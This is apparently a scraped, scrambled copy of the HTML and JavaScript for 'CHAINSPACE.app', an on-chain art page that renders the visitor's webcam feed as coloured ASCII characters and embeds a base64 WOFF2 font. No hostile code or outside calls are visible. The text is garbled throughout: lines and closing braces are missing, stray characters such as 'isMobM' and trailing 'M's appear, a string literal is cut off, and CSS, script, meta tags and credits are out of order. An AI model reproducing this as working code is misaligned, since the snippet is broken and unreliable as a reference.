    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#8C8C8C", "#FCEC50", "#FEF281", "#FFF8B3", "#737373", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
        video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
= new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className =M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
  gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (e) => {
      running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
